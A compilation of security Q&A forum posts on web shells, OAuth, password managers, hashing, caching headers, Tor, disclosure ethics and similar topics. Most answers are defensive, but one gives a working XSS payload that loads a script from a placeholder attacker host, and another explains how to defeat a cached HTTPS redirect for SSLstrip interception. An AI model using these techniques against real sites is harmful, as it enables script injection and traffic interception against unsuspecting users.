Can a user hack a server running apache from a website Is it possible that a user can hack a server running Apache httpd from the website it hosts? Let's say I have a PHP web application running under Apache with explicit user www-data in the virtual host configuration. If the user hacks the website, he would only have access to modify the PHP code, since he only has the privileges of the www-data user.

Could the attacker leverage this limited access to reach user or system files, effectively taking control of the operating system?

Let's suppose that the site allows uploads without protection and I am able to upload a PHP shell. I access the shell, which gives me terminal access. At this point, I am running commands on the operating system as www-data or whatever user the site is configured to run as.

Now I can hunt around for configuration files that might have root passwords in it or vulnerabilities in the OS that would let me gain root access. Now I'm using the PHP, served by Apache, to run commands as root.

Once I get root, I can obviously also gain access to any user's files on the system. The system is mine (and anyone else who accesses the shell).

This is just one of many possibilities.


Risks associated with a compromised external Security token server Consider the following architecture:
An on premise Web API 2 [Written in C# hosted in IIS] which uses OAuth 2 authentication [ Implicit Flow ] to secure itself. This API acts as the data source by external apps [ Currently an angular 9 APP ]. Token service itself is an installation of Identity Server which is responsible for issuing access tokens to the external apps. Now the question:

What would be the maximum risk associated with a compromised STS server [ The server which issues tokens ] apart from the API app not not being able to authenticate clients? I have been tasked to list all potential risks associated with an external STS [ Security Token Service ] in case of a security breach and cant categorically list them according to their severity.

It is recommended to check RFC 6819 which describes the thread model and security considerations for OAuth 2.0. Also check the security considerations of RFC 6749 which describes security considerations in the context of different kinds of clients.

One you analyse the threats to your authorisation server (I assume that's what you mean by the Security Token Service), you can get an understanding of the risk of compromise based on how you have set up your authorisation server.


How secure are the password files used by Password Safe and Password Gorilla? Password Safe and Password Gorilla are both programs to manage passwords. Both store a list of user passwords in a file, which is encrypted using a master password. They use the same file format, so you can alternate between the two, using the same file, as Joel Spolsky recommended.

Password Safe was created by Bruce Schneier, who said the following about it:

  Password Safe protects passwords with the Twofish encryption
  algorithm, a fast, free alternative to DES.

Although I respect Schneier, the "fast" encryption part gives me pause. I want it to be very difficult to brute force my password file, so I want the  decryption be relatively slow.

I think that Password Safe now supports something like the work factor of bcrypt, but if I'm going to use the Spolsky method of sharing my file between computers with Dropbox, I want to be very sure that, if it fell into the wrong hands, nobody would be able to brute force it.

Assuming I've chosen a complex password, how secure is the encryption on these files?

By fast, they mean once you've set up a decryption key (e.g., entered your passphrase), you can decrypt a large or small file very quickly.  The time necessary to check a single passphrase of twofish and DES are both similar (see time/cycles to set up key and IV - initialization vector):

http://www.cryptopp.com/benchmarks.html

(these are benchmarks for encryption; but should be similar).

Wikipedia lists some progress on attacks of twofish, but concludes by quotes the first author of the a decades old published partial attack:

  "But even from a theoretical perspective, Twofish isn't even remotely
  broken. There have been no extensions to these results since they were
  published in 2000".

However, you mention you have a complex password.  You probably should be using a passphrase.  Eight random characters (upper/lowercase + numbers) ~ 247 ~ 1014?  The quoted benchmark may take ~10 microseconds (10-5 s) to try one password; so you could try 10^14 passwords in a 109 s ~ 100 years of CPU time; which is in the realm of feasibility for say gov't to eventually break.  If you had say a 6 word diceware passphrase (77 bits of entropy) it would take 100 billion years of today's CPU time to break.


Which encryption algo should be best for an Android application Possible Duplicate:
  Which type of encryption algorithms android supports, and which would be better?

I am confused about to use of DES. Triple DES, RSA and AES algorithms, I think I couldn't get more idea about them, so I am not able to think which algo would be better.

My Task :

I am developing an application who sends an encrypted String to PHP server, and PHP server decrypt it, and sends response to my application.

Please explain which algo should be better on Android and PHP both, and why?

It depends on what attacks you're worried about.

In general, I'd advise against creating your own scheme even if it uses accepted algorithms. Your case sounds like it is easily served with standard SSL, perhaps with client-side certificates as well as server-side.

If you go and use an encryption algorithn directly, without some widely accepted scheme around it, you're opening up to a whole range of attacks that you can't possibly think of all by yourself.

For instance, say you would just encrypt the string and transmit it over HTTP. An eavesdropper would not be able to decrypt it, but could save it and re-send it at a later time. Also, any scheme that doesn't introduce a freshness property, such as timestamp or nonce, will be susceptible to statistical attacks on those strings, especially if they contain text in a known language.

If there is no reason why normal SSL, perhaps coupled with authentication in the application, would work, the stick to that.


Can my car be hacked? I was reading this article about car hacking and the fact that there are a half million vulnerable cars scared the living daylights out of me!

I did some research and many sources claim that car hacking is Nearly Impossible, but if you see that from the other side, the Nearly Impossible is still Possible.

I understand that connected cars are only part of the larger “Internet of things” movement, in which more everyday objects are being made capable of getting online, okay that's the future but not when people's lives are in the balance.

How hard is it to hack a car and is it secure to buy a connected car?

Answering title question: YES

Of course, this only really applies to cars with remotely-accessible electronic systems. So, most vehicles made before the turn of the millennium are probably safe in this regard. However, there are other ways to electronically "hack" a car if the attacker has physical access too.

Answer to "how hard is it": It depends

This goes for any broad category of applications - not just cars. It all depends on exactly how the software was written, what safeguards are in place, and how competent the people maintaining the code are. It also depends a lot on the competency and resources of the attacker.

Much of the answer to this question won't really be certain until someone discovers and discloses a vulnerability in the system. But then, of course, it's too late. You can only hope that the manufacturer of the system built in enough effective security to ensure that it will be a long time before any worthwhile and exploitable vulnerabilities are found.


Is it safe to install MS17-010 unpatched OS as guest on patched host? For example, these are unpatched old OS.

Windows 98
Windows 98 SE
Windows ME
Windows NT 4.0
Windows 2000

Given that SMBv1 is not disabled on host but already patched.

Is the unpatched guest OS itself still vulnerable on already patched host?

WannaCry Ransomware: Patch released for Microsoft Windows XP, Server 2003 and 8
https://soggi.org/news/WannaCry-Ransomware-Patch-for-Microsoft-Windows-XP-Server-2003-8.htm

If the guest is unpatched and has the vulnerability present then yes it is vulnerable. If the guest has any of its interfaces NAT’ed or Bridged to an unprotected network then the guest is exploitable via WannaCrypt.


Confluence / how to judge if it is safe for ITAR, EAR, or IP? I want to have Altassian host a Confluence server for me.  However, I can't tell if it is secure enough for:

ITAR sensitive information
EAR sensitive information
Intellectual Property / Trade Secret

I've heard all the usual arguments that IT security is better to outsource and it is more secure than on-premises.  I've heard all the arguments that if it is good enough for (fill in the blank) company it must be good enough for you.

When it comes down to ITAR / EAR, you are personally liable.  That means, you go to jail, not the company.

When you post a customer's Confidential Information, your NDA / CDA specifies that you are responsible and can be sued.

Atlassian did not respond to the question above.  So, I'm left to my own devices to figure out if it is secure enough.

What is the best way to resolve this issue?

Is there a government / private organization that sets a standard for security that warrants whether certain cloud services are sufficient for ITAR / EAR / IP?  Can I rely upon this in a court of (U.S.) law?

Without being overly familiar with ITAR and EAR (I'm not an American), I'd suggest that if Atlassian have not responded to your concerns you would be unwise to host in their cloud.

Nothing below is to imply Atlassian are reckless with your data - if anything the reverse - by comprehensively describing their practices they can help you make an informed decision.

Read through https://www.atlassian.com/trust/security/security-practices#faq-49b1539c-bbea-405e-a8a4-1b5c7cb49b39 which I imagine will give you pause. Among other things that might concern me -

Confluence data is not stored encrypted.
They use geographically diverse DC's - including DC's outside USA, and it is strongly implied data is shared between multiple availability zones, which could imply outside the USA.
Their emoyees have (controlled) access to your data. It is not guaranteed your employees are US citizens.

If you can be compliant bearing in mind the limitations they disclose, it could be more secure to use their system - It probably comes down to if US clearances are needed, if data can be stored outside USA, and if you need to protect against foreign state actors.


How up-to-date is the plaintextoffenders list? I was reading this question that mentions plaintextoffenders - I was unaware of this site before and checked it out. I noticed that many of the entries on the list are from 2011 (all the ones I checked which is much less than the 5000+ total).

There's a "reformed" section but the offender list is a lot longer, with a few sites that I haved used in the past. The entries that I checked only have a single post to them with a screenshot of showing the issue but nothing more.

Is it known that the list on Github is still valid (that is, entries on the offender list are still known offenders, even though their only entry is from 2011)? (The list itself was recently updated with new additions.)

The plaintextoffenders.com list is built from user submitted reports along with screenshots censoring sensitive data.

The FAQ says they rely on their community to contact companies. They also rely on companies contacting them to be removed from the list if they think they are listed in error, or if the issue has been corrected.

The validity of the claims could be somewhat dependent on how old the report is. It's possible that the company has since updated their security but not submitted a request to plaintextoffenders to be removed.

If you are thinking of using a company listed, you can always contact them yourself and ask if the situation has been resolved.


How to use USB-Stick instead of passphrase? I wanted to know if something exists that would allow the following.

Whenever I use my RSA key(when using ssh for example) I'm prompted for my passphrase.  I would like to, instead of being prompted for it, if a "USB-Key" is plugged in, it would use it instead of the passphrase.

But if the USB is not plugged in, then would have a fallback to the passphrase prompt.

If there is a solution to this could someone point it to me? Or at least give me some keywords/links for me too refine my search for it?

Check out yubikey for a possible idea

http://www.yubico.com/products/services-software/personalization-tools/static-password/

Edit: Note that even Yubikey recommends not storing the entire key on the device...

From the Yubikey website:

  Yubico recommends users to use the YubiKey in static password mode for
  only part of their password. Users are recommended to manually enter a
  simple and easy-to-remember first part of their password, then use the
  YubiKey to enter a strong second part to their password. For example:
  Users can set their password to
  Sunny33rcltrcihbkkiulnveuenervidliliifv, where “Sunny33” is manually
  entered by the users and “rcltrcihbkkiulnveuenervidliliifv” is stored
  in and entered by the YubiKey


Ethical approach about corporate website and vulnerabilities I like web security and i have academic formation about that. Just for fun I found a website (insurance company) with critical vulnerabilities like xss or sql injection. Now, I obviously will alert them about this problem. But it would be nice if the company let me solve the problems that I identified as freelancer or something. But probably they will contract some security company to do this job and pay an higher monetary value.

Any advice about this subject? What should be my ethical approach?

The ethical approach is to report, confidentially, and to not combine the reporting with a request for payment to fix it, which could be seen as extortion.

Explain how you found the problem, and possibly include steps to remedy what you found, but leave the fixing to them.

As a Security Manager for an insurance company, I can tell you that I would be grateful to know about the problem, but would shut the door in your face if you started to try and turn it to your advantage. If, instead, you worked with me openly to fix things, helped to retest, and generally was pleasant to work with, I might offer you a job at the end, or at the very least, offer a letter of reference for your skills and professionalism.

In the end, it is THEIR website, and their responsibility to fix, or not to fix.


Difference between fully homomorphic and semi-homomorphic encryption What is the difference between fully homomorphic and semi-homomorphic encryption?

If you're happy with a more mathematical definition:

A Fully-Homomorphic Encryption preserves a ring-structure.

This means we have a Ring (R,+,*), where R are our bits on which we operate, (R,+) is an abelian group, while (R,*) is an monoid. With addition and mupltiplication over bits it's possible to create NAND gates. If you have NAND gates, you can derive every other boolean gate and therefore are able to do every computation on the encrypted data.

Semi-Homomorphic Encryption on the other hand only supports one operation and because of that you are not able to create NAND gates, which means you can't do every computation on the encrypted data.


Would it be more secure to enforce "at least one upper case" or to enforce "at least one letter (any case)" I am devising a set of password requirements. I am requiring users to use the following:

Minimum 8 characters
Minimum 1 number
Minimum 1 special character
Minimum 1 letter (any case)

I would like to replace "Minimum 1 letter (any case)" with "Minimum 1 Uppercase letter".

Would this increase or decrease the security of my user's passwords?

On one hand, I think it would increase the chance that users use a password with a mix of UC and LC. On the other hand, does spelling it out in the password requirements help someone trying to brute force? For instance, if I asked for ONLY uppercase, then it would indicate to an attacker that they only need to try for uppercase.

I understand there are better ways to go about this all, and doing a "pick 3 of 4" would be good, but this is my current situation given working with business-side.

The effect of a password policy depends on how both users and attackers respond to it. Unfortunately, you can count on your users being lazy and your attackers being creative.

In general, adding more restrictions to passwords has the following effect:

The effective entropy of a good (that is, random) password decreases a little since all forbidden passwords are removed from the attackers search space.
The lazy user might gain a little bit (after all, Password1! is better than password). On the other hand, the burden of complying with all the rules might provoke the user to give up and go with a terrible password that passes the test just to get the god damn form to submit.

In the end, this is an empirical question about user behaviour and not a mathematical about entropy calculations. I'd say that both of your alternatives are about equally bad, but that is just a guess. Fortunately, there are better alternatives:

Drop all conditions (except the lenght one) and instead blacklist leaked passwords.
Consider easing on the other rules and increase the minimum length instead, to 10 or perhaps 12.


What does "if the Crypto Officer performs this operation" mean in this BitLocker security policy? In the document Windows Server 2008 R2 BitLocker™ Drive Encryption Security Policy For FIPS 140-2 Validation, in the section 6.1.2 FIPS 140-2 Security Rules bullet point 2 it says:

BitLocker™ will only release keys to be stored on USB flash drives, if the Crypto Officer performs this operation

What does "operation" mean in this context?
What "operation" requires that "release keys to be stored on USB flash drives"?
What situations would require "release keys to be stored on USB flash drives"?
What is the exact definition of "releasing keys"?

The FIPS 140 standard defines a number of technical terms (§2.1). Beyond that, you can assume common English meanings for words that aren't defined in the security policy you're reading.

The word operation is not defined in the standard, so it has its ordinary English meaning: “the act or process of operating” (Webster) (oh, and operate means “to produce, as an effect; to cause”). The operation here is the release of keys for storing on a USB flash drive.

Releasing a key from the cryptographic module means copying a key from inside the module to the outside of the module. Since Bitlocker is a software module, “inside” means that you need to go through Bitlocker to access it and “outside” means that you don't.

What the sentence means is that only the crypto officer can cause Bitlocker to release keys. Crypto officer is defined by FIPS 140-2; it is the role of the person(s) who can manage the keys stored in the module. This is usually the administrator role, the most privileged role possible on a cryptographic module. If the cryptographic module is a physical box with secret material inside, the crypto officer is the guy with the keys to the box; other users can only act on the box in controlled ways from the outside.

Bitlocker is intended to keep keys confidential. This sentence says that only the crypto officer can break this confidentiality. Usually, keys are extracted from a security module to back them up or to migrate them to another security module.


General purpose slow/unique hash routine for dup checking of private data, without storing the data itself? I am wondering if there is a percentage of uniqueness known to be lost with every repeat of various hash routines, like MD5, SHA1, and how that might compare with other algorithms.

If theoretically I could store 256^16* 99% different values and each have unique MD5 equivalents, Hashing 100 times would give me .99^100= 36.6% of the namespace. Which is not bad given the vastness of the namespace, but what is the real percentage? Is it more like 90% or worse? Do you have an alternate recommendation for a slow, general purpose hash?

I want to ensure that brute force is expensive, and there may be values with less-than-ideal entropy, I will need to slow the thing down, the obvious solution is repeating the process an absurd number of times.

I am considering also SHA-1, or an XOR combination, but I want to hear your thoughts on this.

Space reduction does occur, but not like that.

Secure hash functions are supposed to behave like what a random function would do on average (i.e., a function chosen uniformly among the set of possible functions with the same input and output lengths). MD5 and SHA-1 are known not to be ultimately secure (because we can find collisions for them more efficiently than we could with a random function), but they are still close enough approximations here (still, you should not use them except for interoperability with legacy implementations; you really should use a more modern and secure function like SHA-256).

So, assuming an n-bit output, if you hash all 2n strings of n bits, you can expect all the outputs to cover about 63.21% of the space of 2n possible output values (that’s 1-(1/e)). You lose a bit more than a third of the space. However, if you rehash all these obtained values again, you will loose much less than a third of them. The reduction factor is not constant for each round. After a few rounds, extra reduction per round is very small.

When you hash a given value many times successively, you are actually walking a “rho structure”, as in the figure below:

This structure is so named because it looks roughly like the Greek letter ρ, “rho”. Each dot is an n-bit value, and each arrow represents the application of your hash function. The blue dot is your starting point. So the idea is that by applying the function sufficiently many times, you end up in a cycle. Once on the cycle, successive applications of the hash function no longer reduce the space of possible values: you just walk around the cycle, indefinitely. The cycle length is then the minimal space size that you can ever achieve.

The lengths of both the “tail” (the values you get through before entering the cycle) and the “cycle” itself are, on average, 2n/2. So, for a hash function with a 128-bit output, successive applications will not reduce the space below 264, a quite large value; an even reaching that minimal space will take, on average, 264 hash function evaluations, which is expensive.

Finding the cycle by walking the rho structure is actually the basis for Floyd’s cycle-finding algorithm, which is one of the generic algorithms which can be used to build collisions for a hash function: in the rho structure, at the point where the tail is attached to the cycle, there is a collision (two distinct values which hash to the same value). For a cryptographically secure hash function, finding collisions is supposed to be hard; in particular, Floyd’s algorithm should be computationally infeasible, which is achieved by making n big enough (e.g., n = 256 for SHA-256: this raises the cost of Floyd’s algorithm to 2128, i.e., not realistically feasible on Earth).

In other words: if you select a secure hash function, with a wide enough output (a prerequisite for being secure), then you will not be able to reach the cycle and/or walk it, and your security will not suffer from any “space reduction”. Corollary: if you have a problem of space reduction, then you are not using a secure hash function, and that is the problem you need to fix. So, use SHA-256.


Does gmail's TOS allow Google to steal your emailed ideas? Is it unwise to use gmail to discuss business ideas that Google could snoop on and use to their business advantage?  I know that email is not secure and anyone could read it along its path of delivery, but I feel the level of potential snooping is much higher with gmail and google than regular email.  So under the gmail Terms of Service (TOS) is Google allowed to read your emails and make business decisions based upon learning what you write about or may they only use the information to target advertising toward you?  If not allowed under their TOS, is it wise to avoid free email services like gmail anyway since they are looking already and thus could easily violate the TOS with little effort.

In summary, if I'm going to discuss business ideas with another individual over email, is there any real benefit to using a service other than gmail, such as a paid service where the provider does not have the right to look through your emails?

The relevant section of the google terms of service is the Your Content In Our Services section:

Some of our Services allow you to upload, submit, store, send or receive content. You retain ownership of any intellectual property rights that you hold in that content. In short, what belongs to you stays yours.
When you upload, submit, store, send or receive content to or through our Services, you give Google (and those we work with) a worldwide license to use, host, store, reproduce, modify, create derivative works (such as those resulting from translations, adaptations or other changes we make so that your content works better with our Services), communicate, publish, publicly perform, publicly display and distribute such content. The rights you grant in this license are for the limited purpose of operating, promoting, and improving our Services, and to develop new ones. This license continues even if you stop using our Services (for example, for a business listing you have added to Google Maps). Some Services may offer you ways to access and remove content that has been provided to that Service. Also, in some of our Services, there are terms or settings that narrow the scope of our use of the content submitted in those Services. Make sure you have the necessary rights to grant us this license for any content that you submit to our Services.
Our automated systems analyze your content (including emails) to provide you personally relevant product features, such as customized search results, tailored advertising, and spam and malware detection. This analysis occurs as the content is sent, received, and when it is stored.

I am not a lawyer and am not affiliated with google, but the answer clearly seems to be no.  Your ideas stay your own intellectual property though google may use your submitted content within their products.
Addendum On the other hand though, if I had some secret information that could be used or sold to a competitor to make a lot of money (e.g., imagine a hedge fund with a trading algorithm that has a history of making billions) then I would never publicly share that information with any service regardless of their Terms of Service.  I would only consider sharing it with people who are locked under very strong non-disclosure/non-compete agreements who only have access to the information on systems I control.
Even if the other business states they will not look at information I upload, I simply will not trust them and all their employees with my (unencrypted) information.  The one exception may be to backup personal source code where I encrypted it locally on a trusted computer prior to uploading an encrypted copy (protected by a very strong passphrase).


HTTP Caching Headers: private vs no-cache We're currently reviewing our set of "no-cache" security headers:

Cache-Control "no-cache, no-store, must-revalidate
Pragma "no-cache"
Expires 0

Besides the "standard" set above, I found this article, recommending to combine "no-cache" and "no-store" with "private".  As far as I understand the specification it should be sufficient to set "no-cache" and "no-store" if you want to forbid caching at all.

So my question: Are there any reasons to add the "private" header to our set?  And if so, will there be a conflict between the headers?

P.S.: I also checked the following two discussions, which did not provide a definite answer.

"Cache-control: private" vs. "Cache-control: no-cache"
Making sure a web page is not cached, across all browsers

I understand the contradiction (if we may call it so) you highlighted. So I read both (some parts of the specification related to the private option) and the article.

I rather searched about the original article where the bug was first mentioned. In that article, it is stated:

  It was reported that multiple meta.wikimedia.org users received the
  same session ID. These users could act as the user who happened to be
  logged in according to the session value.

So you can conclude there is nothing wrong with the specification, and you need to add the private option  in Cache-control only when there is a session.


JS bug is stopping xss payload to exeute The XSS vector is at the * but the function issue_type is not declared hence my payload is not getting executed.

following is the instance of the vulnerable code:-

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, *)" style="height:30px;">

the actual code is like the following:

echo '<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, ".$_REQUEST['issue_id'].")" style="height:30px;">';

so I tried:-

issue_id=alert(1)

which resulted into:-

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, alert(1))" style="height:30px;">

as function issue_type is not defined in the page the payload did not execute as the onchange attribute did not execute.

How can i modify my payload to exploit xss?

It very much depends on the exact details.  You say

  the actual code is like the following:

(emphasis mine).  If the actual code is just like what you wrote then XSS injection is very easy.  The reason is because the javascript error doesn't matter.  It doesn't matter because you can completely escape the HTML attribute context and just inject your own scripts directly.  You could imagine a payload like this:

http://www.example.com/vulnerable-page?issue_id=1)"><script type="text/javascript" src="http://yoursite.bad/evil.js">

Since PHP is outputting your request directly, you have full control over the final page.  In short, 1)"> serves to close the select tag.  The actual html will end up as:

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, 1)"><script type="text/javascript" src="http://yoursite.bad/evil.js">

The bug still stays there, but instead you get to directly inject a javascript file onto the page, which is all you need.  If the user were to change the select value there would be a javascript error, but your code will run on page load so it really doesn't matter.


Could my DNS requests get manipulated while using tor? I just downloaded Tor Browser Bundle and extracted it.

I had no copy of my Tor Nodes Settings so i just browsed using the standard nodes and i forgot to disabke Java Script.

I did not notice anything suspicious while i was browsing, all the homepages looked like the ones i was trying to reach.
Still i am asking myself if my DNS conection could have been manipulated and if i could have been forwarded to a malware hosting homepage.

For your question, you can imagine TOR like a proxy whose administrator can see everything you do if it is not encrypted.

Every unencrypted content you send through TOR can be seen by the owner of the first and the last node.
And every content not signed can be potentially altered by these nodes.

Here is an article about a security researcher trying to identify nodes sniffing traffic: https://chloe.re/2015/06/20/a-month-with-badonions/

EDIT: I had not read her last article about content manipulation by exit nodes, but this clearly shows HTTPS may be recommended: https://chloe.re/2015/06/30/this-weeks-tor-attacks/


Tools for reverse engineering malicious executables? Are there any tools that one can reliably use for decompiling malicious executables in order to understand the inner workings of the same? Or any other reliable tool/way to quickly derive the code?

Tools exist that can disassemble an executable most of the time, but it's not guaranteed. There are many techniques used by malware to resist analysis that prevent tools from providing a clear picture of what's going on, without significant manual intervention.

The first level of these are Packers which essentially create proxies for calls to obscure what procedures are doing and often encrypt data.

More advanced techniques serve to prevent analysis in tools like IDA by changing execution depending on whether it's being run in a real system or a debugger. Here's a good rundown of Packers, crypters, and anti analysis techniques.

You may want to check out the reverse engineering stack exchange.


How to circumvent an isolated domestic internet connection? Perhaps this is off-topic or too broad to answer but I'm thinking that there must be solutions.

Some countries are talking about unplugging from the internet and creating their own isolated domestic internet. Russia, recently, ran their own tests about doing this and it has seemed successful.

How could this, essentially, large LAN network be circumvented?

It would be impossible to access resources that are not connected to the network. So, saying that direct circumvention would not be possible. Presumably, there would be limited and restricted access to external resources available to specified individuals/groups. Circumventing this restriction would be difficult, legally contentious and likely against the spirit of the question.

If we are talking about accessing external resources from a specific geographic location (which I think this question is more concerned about) than we should look at alternative methods of accessing these resources that do not require a direct physical connection.

Using satellite-based internet (such as that used on airlines) as well as connecting to adjacent regions/countries' cellular network would allow for this.


Mobile application authentication using UUID I write back-end code for mobile applications. I am needing to write the code for authentication and the simplest yet secure solution I can think of is:

When user signs in, device sends username and password to server
If credentials are valid server returns token
User sends token with every request

Details about token

In Java I can create token as UUID (which is created using SecureRandom under the hood)
I write this token into DB in users table in user row
On every mobile application request I make SELECT ... FROM users WHERE token = ? and check if current user is allowed to perform operation
Periodically I change token in users table to expire previous token

Is it good enough?

It seems secure, but I'm not a security expert so I thought I'd ask here. I haven't seen this solution before and I am wondering why.

Someone would complain about performance because of hitting DB every time but in real application every request generates a lot of SQL queries so one more shouldn't be a problem.
Someone could complain about UUID, but as far as I know in Java UUIDs are presumed impossible to guess because of the implementation of SecureRandom.

Is this solution secure or are there any holes I couldn't see?

I have one main concern with your setup: You should hash the UUID tokens! Otherwise, if your database leaks all accounts will be exposed. Given the amount of entropy in a securely generated UUID, a simple hash function as SHA-256 will do the job.

A few minor points.

Using a UUID as an authentication is not wrong from a security perspective, as long as you are 100% sure that it uses a secure random source (and the Javadoc seems to agree with you on that). To make the code more explicit, personally I would generate the token directly from the random source without mixing in any UUID. But that is mostly to make the code cleaner.

Make sure that you are using a version 4 UUID. The other versions are not random!

Also, I would keep the tokens in a separate table and not in the users table. But that is more about database normalisation than it is about security.

You should think about when you expire tokens. If you have some kind of log out feature, the token should expire when the user log out. In the same way, if the user is logged out when the app is closed, the token should expire when the app is closed.


Is disabling sudo password prompt a security risk? I was reading the this question over on Ask Ubuntu and they suggest adding the following line to etc/sudoers so that you're not prompted to enter your password each time you run sudo

%admin  ALL=(ALL) NOPASSWD:ALL

Is this a security risk and if so, what are some ways people can exploit this?

Yes, it's a risk.  Anyone who touches your keyboard can get root access by running sudo and not worrying about your password. Anyone who has an exploit that gets them userland access can instantly get root access using the sudo command. This reduces isolation and increases the effort to recover from an attack or intrusion.


Cross site scripting prevention removing &lt and &gt I'm testing an application that only skips < and > symbols. The user input being validated is always inserted between html tags like <b>, <span>, <div>, etc. and never passed to the page as an attribute. Is it enough protection or there is a way to bypass this kind of filter?

Example:

<a href="http://www.site.com" style="color:white">
  UserInput
</a>

Regards.

This is not sufficient protection

There are many ways an attacker might be able to sneak in a byte sequence that will be interpreted by someone's browser as markup.

In your case, it might even be possible just to use ampersand encoding to pass < and > chars.

Failing that, double encoding could be used to bypass your filters, or even overlong utf-8 sequences (however this last one is a bit outdated and most software stacks don't fall for it).

Those are just a few examples, but there are many more ways of bypassing simple markup filters like yours. This bit in particular is relevant.


Free/online penetration testing tools My employer has used an external consultant for penetration testing. The web development team not involved in the pentesting itself and we only received the results and suggestions on how to improve security, so I am not experienced in pentesting tools and methodology.

I'm now working on a website development privately and can't afford external pentesting at this stage. The website will contain a MySQL database with customer data. Payments will most likely be handled by using a third party to process them. I've begun researching some online pentesting tools, particularly in relation to SQL.

Are there specific tests, or a checklist, guide or standard methodology for testing the security of websites, which many consultants would follow as a minimum? Obviously this should be free-to-distribute material, not proprietary.

I fully appreciate that self-testing will never replace the expertise of a security consultant but I would like to try to do as much myself first and may eventually ask a consultant to perform further testing before we go live if appropriate.

There’s an old joke variant that runs something like this:

A major newspaper had a sudden problem with their normally reliable high speed
printer. When they couldn’t quickly fix it, someone said that “Charlie” was the master of that particular printer.

“Well where’s Charlie?”

“He retired last week.”

“Bring him in under special contract!”

Charlie came in, walked around the machine staring at it for 10 minutes then put a chalk “X” at one spot. “Hit it with a hammer right there.”

They hit the “X” and everything began working.

Charlie said, “That will be ten thousand dollars.”

“What, that’s outrageous! All you did was make a chalk mark. I want an itemized invoice.”

  Chalk –   $1.00

  Knowing where to put the “X” –   $9,999.00

               ----------------------

In short, it’s not the tools, it’s the expertise.


Bypassing HTTP to HTTPS cached 301 redirect to use SSLstrip I'm doing some pen. tests on a HTTPS (443) server that does not have HSTS implemented (no HSTS headers on response and the address is not on Chrome HSTS preload list).

The problem is that in my scenario the user has visited the web site before, so it has the first HTTP (80) request response cached on Chrome.

Now, when user types in targetaddress.com the browser automatically gets the cached redirect (301 - HTTP to HTTPS location=https://targetaddress.com) making SSLstrip useless.

My workaround for this was to block 443 port on the client side, so the user, not being able to connect to the target, goes and manually clear the browser cache/history in a attempt to restore connection. Then SSLstrip will be effective as it now will intercept/tamper the HTTP request (301 redirect) response.

Are there any other better ways to do this, other than blocking port 443?

Here's the cached redirect:

http://targetaddress.com/
HTTP/1.1 301 Moved Permanently
Date: Wed, 23 Dec 2015 18:31:19 GMT
Server: Apache
Location: https://www.targetaddress.com/
Content-Length: 237
Content-Type: text/html; charset=iso-8859-1

If you can make the browser make a request to http://targetaddress.com/whatever . The browser will default make a plain HTTP request, not an HTTPS one as there is no cached response for /whatever, only for /.

This can be achieved in several ways. One way is to MITM between the browser and any website accessible through plain HTTP and insert an <img> tag. Another way is to trick the user to enter targetaddress.com/whatever in the address bar through social engineering.

As soon as the browser makes a clear-text request to the target domain, the MITM has won the game.

HTTP enables a client to perform actions on entities. Which action is performed depends on the HTTP method specified in the request. Which entity the action is performed on depends on the URL specified in the request.

Different URLs can reference the same entity, but the browser does not know this. When a browser caches an HTTP response, it does so for a given URL.

http://www.target.com/ is an URL. http://target.com/ is another one. http://www.target.com/whatever is yet another one. So is http://www.target.com/?.

Now, suppose there is a cached entry for http://www.target.com/ in a browser. Does it implies there is one for any of the other URLs listed above? No, it does not.

Thus, getting back to the question, making the browser send a plain text request in the case where a permanent redirect is returned by a Web application on the HTTP port is a matter of crafting an URL which does not match a cache entry and tricking the user to visit this URL.

Proof this works:

127.0.0.1 - - [13/Apr/2016:10:01:17 +0200] "GET / HTTP/1.1" 301 226 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [13/Apr/2016:10:01:35 +0200] "GET / HTTP/1.1" 301 226 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [13/Apr/2016:10:02:10 +0200] "GET /whatever HTTP/1.1" 301 234 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [13/Apr/2016:10:02:36 +0200] "GET /whatever HTTP/1.1" 301 234 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [13/Apr/2016:10:08:16 +0200] "GET / HTTP/1.1" 301 226 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [13/Apr/2016:10:08:25 +0200] "GET /? HTTP/1.1" 301 227 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"

I have been able to make six (arbitrary number) clear text HTTP requests to the same Web site with the same browser even though a permanent redirect is configured for everything. (And no, I did not clear the browser's cache!)

Other obvious ways to work around a permanent redirect include tricking the user into switching to anonymous browser mode (no cache) or switching to another browser ("I have issues when accessing the app with IE. Can you have a look?").


What should I look at in the event of a major vendor suffering compromise with unspecified impact? The specific example I have in mind here is the breach of RSA in March 2011 where attackers got away with critical information which could be the seed information which is used to generate the pseudo-random numbers for RSA tokens.

RSA have kept very quiet about the actual details, so if I was in charge of security at an organisation what could I do to secure against a worst case scenario? How would I even know what the worst case could be?

I think the fact that your security vendor is being far from transparent, is already a pretty bad case scenario.
When the vendor is being secretive wrt security details - be it specifics of an incident, or the security internals of the product itself (or at least proof of security, e.g. crypto algos) - this is an inherent risk, to the entire security posture of your own organization.

Now, while in certain circumstances it is legitimate to accept a risk, such a risk as this (having your whole security architecture rely on a third party, which may or may not be trusted)should not be accepted lightly.
When a vendor starts to tip in the direction of withholding critical information, instead of supporting customers in making smart choices, I would say that the risk acceptance decision starts being a bit murky.

As a result, if I was in that position (and ignoring constraints such as budget, time, and politics), I would re-evaluate my relationship with ALL vendors supplying a critical piece of my infrastructure. Note that this is irrelevant of the actual impact - high impact flaws can happen to (almost) anyone - the important part is how you choose to deal with it.
In my opinion, in this case the way they dealt with it (or didn't) shows that they don't understand the trust relationship that needs to be in place, for the above risk acceptance to be valid. At the very least, I might consider changing vendor relationships to one of risk transferrance instead of acceptance, via strict SLAs with penalty clauses.

And in this specific case?
